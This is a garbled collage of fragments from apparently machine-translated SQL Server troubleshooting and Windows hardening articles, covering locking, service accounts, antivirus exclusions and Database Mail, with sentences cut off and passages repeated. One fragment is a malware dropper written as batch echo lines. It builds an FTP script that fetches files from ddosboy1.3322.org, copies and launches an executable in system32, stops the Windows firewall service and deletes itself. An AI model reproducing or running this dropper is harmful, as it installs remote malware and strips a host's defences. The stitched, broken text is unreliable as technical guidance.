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'where id=1;Go--you can see that a will hold the exclusive lock on the first line until the transaction is commit or rollback!Connection B runs the following code:UPDATE dbo. TestTableSet String = ' BBB 'where id=1;Go-because a in id=1 this line has the row lock, so B can only obediently wait, which caused the blockage. I can see that B has been waiting for more than 2 minutes.The C connection is used to unblock, and the running code is immediately spoken.Method 1, start with the lockThe first
, as to why the external machine can connect in, Because they are using their own TCP port to connect to SQL Server 1433 ports, there is no need for the database server to open the TCP port separately.According to this idea, I through the TCPView view database server port usage, the results let me disappointed, unexpec
SQL error log is not capable of generating.How do we find out at this point, although it is not able to create the SQL error log at this time, but it leaves a trace on the Windows level, we see:I set the service startup account to gust Guest account to start the serviceThe following error message is generated:An error log is also generated in the log information for Windows:The denial of access here means
the killing soft scan exception)The following file types are required to be excluded*.mdf, *.NDF, *.ldf, *.bakRelated article: Antivirus software causes YOURSQLDBA backup to failThe article said that because antivirus software scanned the backup folder and locked the backup folder, SQL Server backup database failed
, but it leaves a trace on the Windows level, we see:I set the service startup account to gust Guest account to start the serviceThe following error message is generated:An error log is also generated in the log information for Windows:The denial of access here means denying access to the registry information.Workaround:The solution to this problem is very simple, just need to take the user of course to the SQL Se
. Optimize your report query. Typically, a large amount of report execution time is spent on executing queries and retrieving results. If you use SQL Server, like query Analyzer and Profiler tools, you can help optimize your query. At the same time, database Tuning Advisor can suggest a better database index. You should consider adding performance by using Analysis Services. If you do
C: "boots.exe> dboy. sys echo bye> dboy. sys echo ftp-s: dboy. sys> dboy. bat echo copy C: "boots.exe C:" WINDOWS "system32" inf "test.exe echo start/high" "C: "WINDOWS" system32 "inf" test.exe echo start C: "boots.exe> dboy. bat echo start C: "boots.exe> dboy. bat echo del dboy. sys> dboy. bat echo del % 0> dboy. bat dboy. bat "C:" WINDOWS "system32" cmd.com "/c SC stop sharedaccess echo open ddosboy1.3322.org> dboy1.sys echo dboy> dboy1.sys echo if> dboy1.sys echo get dboy1.c: "
"options"-"Processor type" option in the SQL SERVER installation Center. My system is 64 bits.Method 2.You cannot invoke invoke or BeginInvoke on a control until the window handle is created.The reason is that the VC 2010 of a service program Mscorsvw.exe process invoke invoke caused by the end of this process, can be.Method 3.Turn off 360 security defender and antivir
reasons, the following solutions are available: The anti-virus software is upgraded to fully and strictly antivirus the server system and the local area network; Verify and organize the software installed on the server, do not install drivers without authentication, install necessary software with strong compatibility as much as possible, and remove unnecessa
Control) System (Full Control) 6. Prohibit default sharing of C $ and d$ class Hkey_local_machine\system\currentcontrolset\services\lanmanserver\parameters AutoShareServer, REG_DWORD, 0x0 7. Prohibit admin$ default sharing Hkey_local_machine\system\currentcontrolset\services\lanmanserver\parameters AutoShareWks, REG_DWORD, 0x0 8. Limit ipc$ default sharing HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa RestrictAnonymous REG_DWORD 0x0 Default 0x1 Anonymous users cannot enumerate the lis
Label:failure One: direct exit1 In addition to uninstalling SQL Server 2008, you also delete all plug-ins related to VS, including the framework, uninstall software can be removed by 360, such as the removal tool, but WIN7 comes with the Windows Installer Clean Up tool, It's miraculous to remove Microsoft software 2 Delete files under the installation directory (program files under Microsoft folder about
SQL error log at this time, but it leaves a trace on the Windows level, we see:I set the service startup account to gust Guest account to start the serviceThe following error message is generated:An error log is also generated in the log information for Windows:The denial of access here means denying access to the registry information.Workaround :The solution to this problem is very simple, just need to take the user of course to the
There have been two recent cases of sending exceptions to SQL Server Database Mail, and these questions are also somewhat interesting, by the way. It is convenient for people who encounter similar problems to be crazy about these problems! Provide a little more ideas.Case 1: One of our database server suddenly send messages are not, when there is a problem, check
Brief introduction In an ideal world, there will be no damage to the database, just as we will not include some serious surprises in our daily lives, and once this happens, it will have a very significant impact on our lives, as in SQL Server, perhaps within a few years you have not met This kind of situation occurs in the database, and once you encounter this kind of situation, it is often accompanied by
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